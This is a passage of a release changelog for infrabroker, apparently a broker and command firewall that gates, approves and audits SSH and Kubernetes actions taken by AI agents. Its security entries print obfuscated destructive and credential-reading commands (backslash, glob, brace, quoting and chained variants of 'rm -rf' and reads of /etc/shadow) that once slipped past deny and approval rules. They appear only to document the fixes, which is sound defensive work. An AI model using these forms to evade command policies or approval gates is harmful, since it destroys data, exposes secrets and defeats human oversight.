RevokeForSubjectdeleted grants one-by-one and stopped on the first state-db error, so a partial revoke left residual subject-scoped grants that re-widened policy after unfreeze. Matching grants are now deleted in one transaction (memory untouched on failure), and unfreeze re-sweeps residual grants as defense in depth.
Fixed¶
- Kubernetes client fails closed on oversized API responses (#355) — a 2xx body larger than the read cap (4 MiB get/list/apply; 512 KiB logs) was silently truncated and returned as success, so truncated lists/secrets/logs looked complete to the model. The client now reads one byte past the cap and errors when exceeded.
- Approval-bridge posts only pending approvals (#356) — after a bridge
restart the dedupe map is empty, and
GET /v1/approvalsreturns decided requests too, so already-approved/denied items were re-posted to chat. Non-pending statuses are now skipped. make build/make distsetCGO_ENABLED=0(#357) — goreleaser archives were static while the installer tarball frommake distused default CGO (glibc-dynlinked when a C compiler is present). The Makefile now exportsCGO_ENABLED=0(and-trimpath) to match goreleaser.
Documentation¶
- Deploy skill: callers default-deny and agent CA custody (#358) — the
deploy skill no longer requires an empty
callers._default(obsolete after v2.0.0) and documents theagent(ssh-agent/HSM) CA backend alongsideakvandpem. - Demo docs: stop claiming "nothing to steal" on a shared volume (#359) —
broker.jsonhas noca_key(process isolation), but the compose volume still exposespki/ssh_cato uid 65532. CONTAINERS, compose, pki-init, and the prompt-injection demo now say so and name agent/AKV for production. - Audit skill distribution invariants (#360) — skill text now matches nine goreleaser/Makefile builds, a seven-binary image (deliberately omitting bridge+shim), and the demo's real allowlist/approval posture.
Internal¶
- Dependabot go-minor-patch —
modernc.org/sqliteand related transitive bumps (#350, #351).
[v3.1.0] - 2026-08-03¶
Sealed-exec ops: host installer, no-downtime envelope-key rotation, and sudoers- friendly elevation — plus security fixes for approve-and-learn/freeze, audit token forgery on file transfer, command-policy backslash escapes, and broker-ctl path resolution.
Added¶
- Sealed-exec host deployment:
deploy/install-shim.sh(#291) — sealing a host stopped being a hand-assembled procedure. One idempotent script, run as root on a managed target, installs theinfrabroker-shimverifier, pins the envelope public key at/etc/infrabroker/envelope.pub, and creates the single-use nonce store at/var/lib/infrabroker-shim/noncesas1770 root:infrabroker-shim— group-writable so each SSH account can claim a nonce, sticky so none can delete another's claim and re-open the replay window.--checkre-verifies a host and changes nothing. It installs no daemon, no unit and no service user:install.shstill owns the service hosts.
It also fixes a trap that would have made sealed exec fail closed on most
Debian/Ubuntu hosts: the certificate's force-command is the bare name
infrabroker-shim, and sshd runs it through a NON-login shell, so
/etc/profile is never sourced and PATH is sshd's compiled-in default —
/usr/bin:/bin:/usr/sbin:/sbin on Debian/Ubuntu, which does not contain
/usr/local/bin. The script symlinks the shim into /usr/bin, the one
directory on that default across distro families.
-
broker-ctl envelope pubkey --seed <file>(#291) — prints the sealed-exec envelope public key for a seed, offline. The signer only ever logs the key it is currently using, which is enough to pin a host initially but not to rotate: a no-downtime rotation has to pin the INCOMING key on every host before the signer switches to it, and until this command nothing had printed it. -
Envelope-key rotation without downtime (#291) —
/etc/infrabroker/envelope.pubnow accepts more than one key, one base64 line each, with#comments and blank lines allowed; a host that pins the outgoing and the incoming key together keeps working while the signer is switched over, and the switch stays reversible until the old key is retired. The shim re-reads the file on every command, so each step applies immediately — no restart, no signal. Parsing is strictly fail-closed: any malformed line rejects the whole file and a file with no key is an error, because skipping bad lines would let one corrupted byte in the newly appended key silently leave the host trusting only the outgoing one. Single-key files — every host deployed before this — keep working unchanged.
Version skew: a shim older than v3.1.0 reads the file as a single key and
fails closed on two lines. Upgrade the shim on every sealed host before
appending a second key. Runbook, including the emergency path, in
docs/OPERATIONS.md § 2.2.
Changed¶
- Sudoers-friendly elevation: simple commands run as a direct sudo argv (#306) —
an elevated command with no shell semantics (one statement, statically-known
words) is now executed as
sudo -n -- systemctl restart nginx.serviceinstead ofsudo -n -- /bin/sh -c '…', so the host's least-privilege sudoers rule is the naturaldeploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx.service, mirroring thecommand_policiesstring. Anything else keeps the/bin/sh -cwrapper unchanged: pipes, sequences, redirects, env assignments, expansions, globs, unquoted backslash escapes, a leading word containing=(sudo would read it as an environment assignment) and shell-only builtins (cd,umask, … — no binary for sudo to exec). Capability is identical either way; only the executed form differs.
Host-side action required if you wrote per-command sudoers rules for the
wrapped form. A rule like
deploy ALL=(root) NOPASSWD: /bin/sh -c systemctl\ restart\ nginx.service
stops matching for that (now direct) command and sudo falls back to asking for
a password — rewrite it as
deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx.service.
Rules for compound commands are unaffected, and NOPASSWD: ALL deployments
need no change. Note the documented restricted rules could never match the
wrapped form in the first place (#305), so hand-crafted ones are the only
affected case.
- Working sudoers guidance for both elevation forms (#305) — the sudo
sections of deploy/sshd_config.snippet and docs/ARCHITECTURE.md recommended
rules (NOPASSWD: /usr/bin/systemctl, …) that could never match what the broker
executes, leaving NOPASSWD: ALL as the only rule that worked. They now show
verified rules for the direct and wrapped forms, and the argument-matching
pitfalls: wildcards are an escalation (sh -c * ≡ NOPASSWD: ALL), double
quotes do not group arguments in a Cmnd, \| is a syntax error that
invalidates the file, and an unescaped # truncates a rule silently.
Fixed¶
-
OPERATIONS sealed-session docs: require_approval never unlocks session exec (#339) — the constraints list implied approval would eventually yield an envelope on a sealed session. Sealed sessions permanently refuse
require_approval; use oneshotssh_execute(waivers still work by clearing the gate first). -
install.sh post-install no longer teaches obsolete empty
_defaultcallers (#338) — since v2.0.0 a non-emptycallerstable is already default-deny without"_default": {"allowed_groups": []}; the checklist now says so. -
OPERATIONS/CONTAINERS list
infrabroker-shimin the release inventory (#335) —make distand the goreleaser archive already ship the sealed-exec host verifier; the install list and image/archive note omitted it (approval-bridge was the only archive-only extra named). -
THREAT_MODEL actors table no longer calls the signer "stateless" (#337) — grants, freezes, rate buckets, and optional
state_dbcontradict that claim. The row now describes minimal in-process state and points at gap #5 / HA.md. -
SECURITY.md gap #1 scope names sealed exec as the opt-in mitigation (#336) — the by-design list still claimed host-enforced session force-command was absent entirely. It now notes default broker-preflighted sessions and that
sealed_execcloses the gap for opted-in hosts. -
File-transfer paths with whitespace/controls are refused before audit (#331) —
ssh_put_file/ssh_get_fileencodedpath=<path> bytes=… sha256=…into the space-separated auditCommandstream while only rejecting NULs and newlines. A path containing spaces could splice forged tokens. Paths now pass the sameHasUnsafeTokenChargate used on identity fields. -
ARCHITECTURE Multi-CA section documents the
agentCA backend (#333) — the section still framed custody as PEM or AKV only and claimed Ed25519 worked only in local PEM mode. It now listspem/akv/agentand notes that Ed25519 is available via PEM and ssh-agent (not AKV). -
OPERATIONS emergency envelope-key runbook states the real blast radius (#334) — the text claimed a leaked envelope private key could only mint envelopes for commands the signer's policy would already have allowed. The shim does not re-check policy; a leaked seed authorises any command on hosts that still pin the compromised public key. The runbook now treats the seed as CA-adjacent: no dual-key overlap, rotate immediately, kill open sealed sessions.
-
SECURITY.md supported-versions table tracks the current major (#332) — the policy still said only the latest
1.xonmainreceived security fixes after the project had already shipped3.x. It now states that only the latest release onmain(current major) is supported. -
Approve-and-learn no longer mints a durable waiver after freeze (#330) —
#224serialised admin grant create with freeze underwriteMuand refused grants for frozen subjects; the learn path (maybeLearnWaiver) did not, so a concurrent freeze could revoke grants and still leave a learn-mintedwaive_approvalthat re-suppressedrequire_approvalthe moment the subject was unfrozen. Learn now takes the same lock, skips (and audits) when the caller or end-user is frozen, and covers both the SSH and k8s issuance branches. -
In-conversation approvals work again on the current MCP protocol (#318) — the
github.com/modelcontextprotocol/go-sdkv1.7.0 bump brought protocol version 2026-07-28, where SEP-2322 forbids a server from sendingelicitation/createwhile it is serving atools/call. The #118 approval prompt did exactly that, so against any client on the current protocol arequire_approvalcommand returned a tool error instead of asking the human — and the repository's test suite went red. The prompt is now returned as aninputRequestsentry on the tool result and the client re-calls the tool with the answer, which is the SEP-2322 flow; clients still on an older protocol version keep seeing an ordinary server-initiated elicitation (the SDK's server middleware bridges them), so nothing changes for the human at either end. The gate itself is unchanged: only an explicit accept withapprove=trueapproves, and theapproval_grantedrecord still commits before the command runs (#280). - Control plane no longer hides
allow_file_transfer(#315) — when a broker reached the signer THROUGH the control plane,GET /v1/hostsrebuilt each host entry without theallow_file_transfercapability flag, so every host came back asfile_transfer=false.ssh_list_serversthen reported the capability as unavailable and thessh_put_file/ssh_get_filetool descriptions tell the model not to attempt a transfer on such a host — making an operator-enabled capability unusable in the control-plane topology while it worked against a direct signer. The flag is now forwarded likeallow_sudo/allow_pty. No authorization change: the signer always enforcedallow_file_transferat/v1/sign, so the previous behaviour failed closed.
Security¶
- A sealed host's
sshd_configmust not setForceCommand(#291) — newly documented, not a code change: when both are present OpenSSH prefers the CONFIGURED command over the certificate's (options.adm_forced_commandis checked beforeauth_opts->force_commandinsession.c'sdo_exec), so a global orMatchForceCommandon a sealed host means the shim never runs and the signed envelope is handed to that program in$SSH_ORIGINAL_COMMAND— sealing defeated silently.install-shim.sh --checknow probes it withsshd -T,deploy/sshd_config.snippetanddocs/THREAT_MODEL.mdcall it out, and withLogLevel VERBOSEsshd itself distinguishesforced-command (key-option)from(config). - broker-ctl: a relative cert/key/ca in the client config resolves against that
file, not the CWD (#320) —
cmd/broker-ctl/clientconfig.godeliberately keeps the current working directory out of the client-config search order so a planted file cannot redirect this privileged CLI's mTLS endpoint and CA trust anchor, and it already rebased the built-in./pki/*default onto the config file's directory. A relative path written IN the file skipped that rebase and resolved against the CWD, so runningbroker-ctlfrom a directory holding an unrelatedpki/took the admin client cert/key and the CA trust anchor from there — letting a local file plant get the CLI to trust a spoofed signer / control plane (answeringpolicy add,grant,approval allow) or present an attacker-chosen identity. Relative file values are now rebased the same way. Behaviour change, narrow: only a RELATIVE cert/key/ca inside a loaded config file moves — it now resolves next to that file instead of next to the CWD. Absolute paths,BROKER_CTL_*env vars, explicit flags, and the no-config-file lab fallback are unchanged. Prefer absolute paths, asbroker-ctl.example.jsonshows. - Command policy: reject unquoted backslash escapes (#308) — the last decode
gap of the bypass class closed by #277 (quoting/encoding) and v3.0.1's
GHSA-937v-rmqp-j3hx (glob/brace/tilde). The AI-action firewall decided a host's
command_policyagainst a form of the command in which an UNQUOTED backslash was kept LITERAL, while the target host's$SHELL -c(and the sealed-exec shim) consume it as an escape. An obfuscated command therefore dodged adeny/require_approvalrule the executed command would hit —r\m -rf /srv/datawas matched asr\m …but runs asrm -rf /srv/data, andcat /etc/sha\dowdodged an/etc/shadowdeny. Such a word is now rejected fail-closed with an actionable error ("quote it or use an explicit value"), the same treatment glob/brace/tilde got in v3.0.1. Only hosts with an activecommand_policyare affected, and only unquoted backslashes:'a\b',"a\b","a\$b"and$'a\tb'decode exactly as the shell decodes them and keep working — quote the word to keep using one. The elevation path already refused these (#306).
Documentation¶
- Action budgets under replication: the degradation is now stated, and decided
(#295, #297) — both budget layers (
sign_rate_limit_per_minon the signer,rate_limit_per_min+ novelty baselines on the control plane) are per process, so N replicas admit up to N× the configured cap and baselines split-brain. That is now written where an operator reads it (docs/OPERATIONS.md§ Action budgets), with sizing guidance, instead of only in the HA design study — and recorded as a decision: budgets are a detection layer, containment is the signer's command policy and the approval gate, which are config-derived and therefore identical on every replica.docs/HA.mdgains the reasoning, the facets that were not obvious (an approved-and-learned anomaly stays novel on the other N−1 replicas; the blocked-attempt counting that makes a flood non-evasive is also per process), the constraint thatagent(ssh-agent) CA custody is host-local and does not replicate the wayakvdoes, and a quantified answer on certificate serials (64-bit random, collision probability below 1e-6 up to ~6.1M certificates; a collision would make--serialambiguous rather than break correlation, and replication does not change the math).
Three stale claims fixed along the way: docs/ARCHITECTURE.md's component map
said the signer holds no state (it holds grants, freezes and rate buckets),
docs/OPERATIONS.md repeated "the signer stays stateless", and THREAT_MODEL
gap #5 enumerated only broker and control-plane replicas. docs/HA.md is now
linked from the README documentation table.
- The agent CA custody backend now appears everywhere custody is described
(#325) — the sweep #160 and #316 should have had. docs/reference/config.md
(generated from the Go doc comments on signer.json's and config.json's
ca_key) still described custody as pem or akv, so the anti-drift
reference republished the omission on every build; docs/OPERATIONS.md §8 said
the same while §4 of the same document documented ssh-agent custody, and
deploy/install.sh's header (printed by --help) and deploy/README.md's
production checklist had not been updated either. All of them now name the
three backends and point at the comparison table.
- deploy/: the agent CA custody backend is offered where operators choose
(#316) — deploy/README.md has documented all three backends since #122, but
the checklist deploy/install.sh PRINTS after an install, and the header of
deploy/systemd/infrabroker-signer.service, still presented the choice as
akv or pem. An operator following the printed checklist concluded the
hardware-backed production option (YubiKey PIV / SoftHSM / TPM via ssh-agent)
did not exist. Both now list agent and point at the README's comparison
table, and the unit records what that backend needs from the sandbox: the
agent socket is the signing capability, so guard its permissions and keep it
out of /tmp (PrivateTmp=yes replaces that with a private empty tree) —
e.g. /run/infrabroker/ssh-agent.sock.
Internal¶
- Annotate the intentional SSH remote-exec sink —
internal/ssh/run.gocarries a CodeQL suppression + rationale forgo/command-injection: the command reachingsession.Runis signer-authorised (one-shot force-command / sessioncommand_policy), the glob/brace/tilde bypass class was closed in v3.0.1 (GHSA-937v-rmqp-j3hx), and that cross-package mitigation is invisible to the dataflow query. No behaviour change. - Dependency bumps —
actions/setup-goandactions/setup-pythonto v7;modernc.org/sqlitepatch;github.com/modelcontextprotocol/go-sdk(the latter required the SEP-2322 in-conversation approval fix above). - Docs hygiene — USAGE documents thirteen MCP tools (not seven); ARCHITECTURE
documents the unresolvable-expansion rejection class in
shell_parse;release.ymlno longer hard-codes the installer tarball's binary count.
[v3.0.1] - 2026-07-16¶
Security patch. Closes a command-policy bypass (GHSA-937v-rmqp-j3hx, found via
CodeQL + adversarial review) where a shell glob / brace / tilde metacharacter let
an obfuscated command dodge a deny / require_approval rule the executed
command would hit — the same class as #211/#277, left open for glob/brace/tilde.
Upgrade recommended; no config changes required.
Security¶
- Command policy: reject unresolved shell-expansion metacharacters (glob / brace
/ tilde) — GHSA-937v-rmqp-j3hx — the AI-action firewall decided a host's
command_policyagainst a form of the command in which pathname globs (* ? [ ]), brace expansion ({a,b}) and a leading tilde (~) were kept LITERAL, while the target host's$SHELL -c(and the sealed-exec shim) expand them at run time. An obfuscated command therefore dodged adeny/require_approvalrule the executed command would hit — e.g./bin/r[m] -rf /dataglobs back to/bin/rm -rf /datapast anrmdeny, andcat /etc/{passwd,shadow}brace-expands to read/etc/shadowpast a/etc/shadowdeny. This is the same class as the quoting/$IFS/encoding obfuscation closed in #211/#277, left open for glob/brace/tilde. Withshell_parseon (the default), a command word carrying such an UNQUOTED metacharacter is now rejected fail-closed before matching; quoted metacharacters ('...',"...",$'...') do not expand and are unaffected, and literal commands are unchanged. Note: a host that opted out with"shell_parse": falsekeeps the legacy raw-string matching and remains exposed to this class — do not useshell_parse: falseon hosts withdeny/require_approvalrules. Allowlist-mode hosts were never bypassable (a glob fails the allow match, fail-closed).
[v3.0.0] - 2026-07-16¶
The major that closes both host-enforcement gaps in the threat model. Session
exec filtering can now be enforced by the target host itself — "sealed exec",
opt-in per host: the session certificate is pinned to a verifying shim that runs
only signer-signed per-command envelopes — and the signer can re-validate the end
user's OIDC identity instead of trusting the broker's assertion. A compromised
broker can therefore neither skip the per-command preflight nor forge who an
action is attributed to. Alongside that: the three frontends collapse into one
infrabroker binary with transport subcommands, infrabroker init brings up a
working local install in one command, and the audit chain gets a round of
durability and ordering fixes. Upgrade note (BREAKING): an active
command_policy now parses commands as POSIX sh before evaluating them
(shell_parse defaults to on), so an allowlist finally covers chained commands
such as kubectl get pods; rm -rf /etc — hosts whose policies were passing
compound commands through unparsed will see new denials; set "shell_parse":
false on a policy to restore the legacy raw-string matching.
Changed¶
- Command policies parse commands by default (
shell_parseon) (#211) — BREAKING. An activecommand_policy(allowlist / denylist / require_approval) now parses the command as POSIX sh before evaluation unless you explicitly set"shell_parse": false. Previously parsing was opt-in (shell_parsedefaulted tofalse) andDecide()matched the command as a whole string, so an allowlist entry like^kubectl get— matched as a substring — let a chained command such askubectl get pods; rm -rf /etcride past the firewall (the entire line is baked into the one-shotforce-command, so the remote shell ran both). With parsing on, each simple command in a chain/pipe is checked independently and dangerous nodes (command/process substitution, arithmetic, file redirects, environment mutations) are rejected, so the compound command is denied. Impact: hosts with a command policy that passed compound commands through unparsed will now have each stage checked and may see new denials — restore the legacy raw-string matching per policy with"shell_parse": false. Hosts without a command policy are unaffected. The field is now a three-state pointer (absent = on);broker-ctl host --shell-parse=falseauthors the opt-out. - Unified
infrabrokerbinary with transport subcommands (#180) — the three broker frontends are now one binary with the transport as a subcommand:infrabroker serve-http(HTTP+mTLS one-shot),serve-mcp(stdio MCP), andserve-mcp-http(MCP over HTTP+OAuth). The legacybroker,mcp-brokerandmcp-broker-httpbinaries remain as thin deprecated wrappers over the same subcommands — identical flags and behaviour — so existing MCP-client configs, systemd units, container entrypoint and scripts keep working unchanged; preferinfrabroker serve-*going forward. No security-semantics change (same engine, config, and per-transport defaults); shared boot wiring now lives ininternal/brokermain.
Added¶
- Sealed exec: host-enforced session commands (#144) — session
execfiltering can now be enforced by the target host instead of the broker, closing THREAT_MODEL gap #1 for hosts that opt in. Set"sealed_exec": trueon a host insigner.jsonand point the newenvelope_keyat a dedicated Ed25519 seed (not the SSH CA): that host's session certificate then carriesforce-command=infrabroker-shim, and at the per-command preflight the signer already performs, it signs an envelope{nonce, host, command, expiry}. The broker sends the envelope as the SSH channel command, and the new staticinfrabroker-shimbinary on the host runs the inner command only if it verifies against a pinned public key (/etc/infrabroker/envelope.pub— the signer logs the value to pin at startup), is bound to that host, has not expired, and its nonce has not been used. A broker that skips the preflight therefore holds nothing the host will run — per-command authorization that survives broker compromise. The sudo prefix travels inside the signed envelope, so the shim (not the broker) applies it, and the host name is carried in theforce-commanditself so the shim takes its identity from the signer-signed certificate rather than anything the broker controls. On a sealed host every certificate is pinned — including bastion-role certs — so no role yields an unpinned cert. Sealed hosts are restricted tomode=exec(shell/pty are not envelope-verifiable and are rejected), commands run via/bin/sh -crather than the login shell, and turning the flag on does not seal sessions that are already open (close them after flipping it). The flag is off by default, non-sealed hosts are byte-for-byte unchanged, and the signer refuses to start if a host setssealed_execwithout anenvelope_key. Remote topology only — it exists to survive broker compromise, which presupposes broker != signer. Deploying the shim, the pinned key and the nonce store to hosts is not yet automated (tracked in #291). infrabroker init— one-command local setup (#136) — generates the local PKI (SSH CA, broker↔signer mTLS pair, audit seeds — pure Go, no ssh-keygen/openssl) and writes a custody-separated two-service config (signer.jsonholding the SSH CA + a default-deny starter policy, and a remote-mode brokerconfig.jsonholding no CA key), wired with the correct default-denycallers/groups so the local broker is authorised.--import-ssh-configimports hosts from~/.ssh/config(ssh -Gcanonicalisation + host keys from known_hosts with an ssh-keyscan TOFU fallback);--register-mcpregisters the stdio server with Claude Code (claude mcp add). Refuses to clobber an existing setup without--force, and prints the per-host sshd enrolment snippet.- Audit-log export to WORM / SIEM — documented sidecar pattern (#139) — the
signed, hash-chained audit JSONL can now be shipped off-host with a standard log
shipper as a sidecar: a new OPERATIONS section ("Exporting the audit log to
WORM / SIEM") plus a ready-to-adapt
deploy/vector.example.tomlcover shipping to S3 Object Lock (immutable, authoritative — the exported copy still passesbroker-ctl audit verify --all) and to syslog / Loki for SIEM search and alerting. infrabroker does not push logs itself, so a slow or unreachable SIEM never blocks an action; secrets are already redacted before an entry is signed. - Approval-bridge four-eyes via
--identity-map(#214) — the control plane's self-approval guard compares the request's originator against the bridge's approver CN, which never collides, so a human who both originated a request and clicked Approve in chat could self-approve through the bridge. Pointapproval-bridge --identity-map(orBRIDGE_IDENTITY_MAP) at a JSON{platform_user_id: end_user_identity}map and the bridge now refuses an approval whose clicker maps to the request's originatingend_user. The guard fails open — an unmapped clicker or a request without anend_useris relayed as before — so it is a strict, opt-in improvement; without the map the bridge behaves exactly as it did. See docs/OPERATIONS.md and docs/THREAT_MODEL.md. /readyzreadiness probe (#213) — the monitoring listener now serves/readyznext to/healthz. It returns503until the service's main mTLS listener is bound and accepting (for the stdio broker: once its engine is up), and flips back to503during graceful shutdown — so an orchestrator does not route traffic to a not-yet-ready or draining instance./healthzstays pure liveness (always200while the process serves).
Performance¶
- Concurrency & allocation polish (#215) — three low-severity hot-path
hygiene fixes: labelled metric increments (
monitor.Vec.With) are now lock-free via async.Map, so a high-RPSsignRequestsTotal.With(...).Inc()no longer serialises every observation behind one family mutex; the broker evicts stalehostKeyCacheentries on each host refresh, so a rotated host key no longer leaves its old (and negative-cached) parse behind forever; and the approval poll loop reuses onetime.Tickerinstead of allocating a freshtime.Aftertimer every 2s. - Group-commit the audit-log fsync (#209) —
Appendheld the log mutex across the synchronousfsync, so every audited action process-wide serialised behind one fsync (~1/fsync-latency, ≈100-200/s on a 5-10ms disk) — and with the v2.0.0 fail-closed audit that fsync sits on the critical path of every request. The fsync is now group-committed: appends write and advance the hash chain under the lock in strict order, then batch the durability fsync so N concurrent appends cost ~one fsync instead of N. Fail-closed durability is unchanged — an append still returns success only once its bytes are on disk — and rotation flushes the old file before closing it.
Fixed¶
infrabroker initnow writes absolute config paths (#271) — the generatedsigner.json/config.jsonembedded PKI/audit paths relative to the init dir (pki/broker.crt,audit.log, …). The broker resolves config paths against the process working directory, so once--register-mcp(or a hand-written MCP client entry) launchedinfrabroker serve-mcp -config <abs>/config.jsonfrom the client's own CWD — not the init dir — the broker died at startup withopen pki/broker.crt: no such file or directory, leaving the registered server dead on arrival.initnow emits absolute paths (it knows the resolved--dir), so the configs load regardless of launch CWD. Existing configs are unaffected; re-runinfrabroker init --forceto regenerate.- Cert expiry now force-closes a busy session (#225) — the session reaper
skipped any session with a command in flight before checking certificate
expiry, so a continuously-busy session kept its already-authenticated SSH
connection (and the expired credential's authority) alive until the command
returned — up to one command timeout (10 min for exec, 120 s for shell/pty)
past the certificate's
ValidBefore, undermining the session cap of #124. Cert expiry now closes the session even mid-command, mirroring the kill switch (killMatching); the busy-spare still applies to idle-TTL and max-lifetime reaps (those remain the domain of the #117 kill switch). Exposure past a cert's expiry is now bounded to the ~30 s reaper tick instead of a full command timeout. - Audit log rotation no longer overwrites a same-second segment (#257) —
rotated segments were named
<log>.<second-timestamp>, so two rotations within the same second produced the same filename andos.Renamesilently overwrote the earlier segment — destroying its records and breaking the chain. Only reachable with a smallmax_file_sizeor an extreme append rate (production's 100 MiB rotates far apart), but a latent audit-integrity hole. Rotation now appends a.<n>disambiguator when the timestamped name already exists, and segment discovery recognises it; plain timestamps stay backward-compatible. audit verify --allorders same-second segments numerically (#272) — completing #257: discovery sorted segments withsort.Strings, which orders the.<n>disambiguator lexicographically (.10before.2). Once ten or more segments landed in one second,VerifySegmentschecked cross-segment linkage in the wrong order and falsely reported the intact chain as broken. Discovery now orders by(timestamp, numeric n). Fail-safe (a false positive only; it could never mask tampering) and, like #257, only reachable with a smallmax_file_sizeor an extreme append rate.- Audit chain survives a crash at the rotation boundary (#279) —
maybeRotaterenames the old segment and creates an empty active file, carrying the chain forward only via the in-memoryprev_hash. A hard crash (power loss) after the rename but before the triggering record landed left an empty active file; on restartrestoreChainre-seeded at genesis (prev_hash="") and ignored the rotated segments, so the next entry broke cross-segment linkage andverify --allfalsely reported the chain corrupt.restoreChainnow seedsprev_hashfrom the newest rotated segment when the active file is empty or absent. Fail-safe (a false positive only) and a narrow crash window. - In-conversation approvals are now fully audited (#280) — with
approval_via_elicitation, a human's decline was returned to the agent with no audit record (indistinguishable from the agent giving up), and an approved execution logged plainexecuted— identical to a non-gated one. The broker now records anapproval_grantedentry (before execution, so the decision is durable even if the command later fails) and anapproval_declinedentry, both carryingapproved_via: "elicitation", and stamps the resultingexecutedrecord withapproved_viatoo. A granted approval that cannot be durably audited fails closed (the command does not run).
Security¶
- Signer-side re-validation of the end-user OIDC identity (#143) — the signer
can now re-validate the end user's bearer token itself instead of trusting the
end_user/end_user_groupsthe broker asserts, closing the documented residual of THREAT_MODEL gap #2 (a compromisedmcp-broker-httpfrontend stamping an arbitrary identity into a certificateKeyIDand the signed audit trail). Opt-in per caller CN via"require_verified_end_user": true, paired with a newend_user_oidcblock (issuer/audience/claims mirroring the frontend'soauth): the HTTP frontend forwards the raw bearer over the existing mTLS channel and the signer derivesend_user/groups from the verified JWT (same JWKS discovery and signature/iss/aud/exp/nbf/iat/scope checks as the frontend). Off by default and fail-closed when on (a gated caller with a missing/invalid token, no issuer configured, or an asserted group restriction the signer has nogroups_claimto re-verify, is denied — configuregroups_claimto mirror the frontend when it asserts groups). The token is a secret: it is never logged or audited, and the control plane strips it before persisting a pending approval — it is held in memory only across an approval wait, so a control-plane restart during a pending approval, or a token that ages pastmax_token_agebefore the human decides, makes that one approval fail closed and be re-requested. - k8s
extra_resourcesidentifiers are charset-validated at config load (#281) — an operator'sextra_resourcesentry could declare aresourceorgroupcontaining a space or/, which then flowed unvalidated into the signer's canonical action string<verb> <resource[.group]> <ns>/<name>and broke its "provably space/slash-free" anti-mismatch guarantee (fail-closed in effect — a corrupted policy key, not a privilege gain).k8s.Resourcesnow rejects aresourcethat is not an RFC 1123 label or agroupthat is not an RFC 1123 subdomain, so the canonical stays well-formed by construction. - Command policy matches the decoded command, closing a deny/approval bypass
via shell quoting (#277) — the firewall parsed each command but matched the
deny/
require_approval/allow regexes against its quote-preserving printed form. Since the target shell strips quoting at exec time, a caller could wrap the command name to dodge a rule the executed command would hit: on a denylist host'rm' -rf …,r"m" -rf …,$'\x72\x6d' -rf …,rm$IFS-rf …andLD_PRELOAD=… rm -rf …all rode past a^rmdeny, and'reboot'ran with no approval past a^rebootrequire_approval. Each simple command is now matched against its decoded literal (quoting/encoding removed), and a command word whose value the policy cannot know statically — a parameter/command/arithmetic expansion ($IFS,$(…)) or an inline env assignment — is rejected fail-closed. Impact: denylist/require_approval/allowlist hosts whose policies relied on quoting or an unquoted$VAR/env-prefix in a command may see new denials (the safe direction); allowlist hosts were already fail-closed. A legitimately quoted command that decodes to an allowed form is still allowed. - Freezes are durable against power loss, not just an app crash (#210) — the
state DB runs
synchronous=NORMAL, which fsyncs only at a WAL checkpoint, so a committed freeze whose frames were not yet checkpointed was lost on power loss / kernel panic before the auto-checkpoint — and a lost freeze fails open (the blocked subject regains access on restart). A freezeAdd/Removenow forces a full WAL checkpoint (fsync of the WAL and the DB) before returning success, so a freeze that the API acknowledged survives power loss. Grants and approve-and-learn waivers stayNORMAL— a lost widening fails safe. - Audit entries are bounded so a redaction-expanded record can't brick startup
(#278) — redaction runs on every entry and expands free-text (
AUTH=a→AUTH=[REDACTED:env-assignment]), while the command was bounded only by the 64 KiB request body. A crafted ~63 KiB command ofAUTH=…tokens inflated the serialized entry past the 256 KiBbufio.Scannerthe readers use; the running process kept appending (its chain is in memory), but the next restart failed —restoreChainreturnedbufio.ErrTooLong, and with audit required and fail-closed the service refused to boot (a latent, caller-triggered DoS thataudit repaircould not fix, since the line is valid JSON).Appendnow trims the free-text fields (longest first, with a...[TRUNCATED]marker, still under the entry signature) to a single-sourced size below the reader buffer, so every line the writer emits is always readable.
Internal¶
- Dependency bumps (#289) —
github.com/coreos/go-oidc/v33.19.0 → 3.20.0 andgolang.org/x/crypto0.53.0 → 0.54.0 (plus thex/net,x/sysandx/textindirects they pull). No behaviour change; both sit on the OIDC/SSH paths, so they ride the release rather than a silent bump. - Stale binary/feature docs corrected after the frontend unification (#273,
#274, #275) — OPERATIONS §1 listed the compiled binaries without
approval-bridge, whichmake installbuilds and the same document tells operators to run; theinitcmdgodoc still claimedinitdid no~/.ssh/configimport or MCP registration, both of which phase 2 added as opt-in flags; and the Dockerfile header miscounted the prebuilt binaries. - High-availability design study (#145) — a new
docs/HA.mdmaps what actually blocks running two replicas: a state inventory across the broker / control-plane / signer, the four true blockers (live SSH sessions, the kill-switch freeze set, the per-process audit chains, the behavior tracker), the medium items (approvals and grants, whose in-memory-map-as-source-of-truth invariant HA has to invert), and a minimum viable slice in dependency order. Documentation only — infrabroker stays deliberately single-instance, and each blocker is now tracked as its own scoped issue under the HA milestone. - Sealed exec named as a designed future control (#144, Part A) — THREAT_MODEL
gap #1 documents the "sealed exec" mechanism (session
force-command→ a signer-signed{nonce, command, expiry}envelope → a host-side verifying shim) that makes session-execfiltering host-enforced and survive a compromised broker. Documentation only; the implementation landed as Part B — see the sealed-exec entry under Added. - broker-ctl HTTP/TLS de-duplication + bounded response reads (#212) — the
~marshal → request → read → status-check → decode block that every
broker-ctlcommand repeated is now a singledoJSONhelper, and every response read is bounded (io.LimitReader, 4 MiB) instead of an unboundedio.ReadAll, matching the internal clients — a hostile or malfunctioning signer/control-plane can no longer make the CLI allocate without limit.broker-ctlalso drops its privatebuildTLSConfigfor the sharedinternal/auth.ClientTLSConfig, which pins TLS 1.3 as the client minimum (the old copy set none). No command behaviour or output changes.
[v2.1.0] - 2026-07-10¶
Correctness and hardening follow-up to the v2.0.0 secure-by-default major: the
kill switch now interrupts a busy PTY session and covers a frozen forwarder's own
CN and /v1/clusters; the Kubernetes path audits dry-runs and stops leaking the
API-server address; session recording is observable and can be made strict; and
config-loading, CA-custody preflight, and revocation-poll observability are all
tightened. Upgrade note: the control-plane four-eyes audit is now fail-closed
by default (audit_fail_mode=closed), completing the audit flip v2.0.0 left out —
set audit_fail_mode=open to keep the previous log-and-continue behaviour.
Performance¶
- Coalesce the per-connection host-table refetch (remote mode) (#208) — every
one-shot
Execute/OpenSessionin remote mode did a synchronousGET /v1/hostsand reparsed the whole host table before signing, so a singlessh_executeto a direct host cost two signer round-trips on top of the per-hopPOST /v1/sign. The refetch is now coalesced with a short freshness TTL (~3s); the 5-minute background poller keeps the table fresh and/v1/signis the authoritative gate, so under sustained loadExecuteissues one signer round-trip in the common case. Session-exec preflight still refetches uncoalesced, so a host-connectivity change is caught promptly.
Security¶
- Secure-by-default: warn on allow-all RBAC and ignore
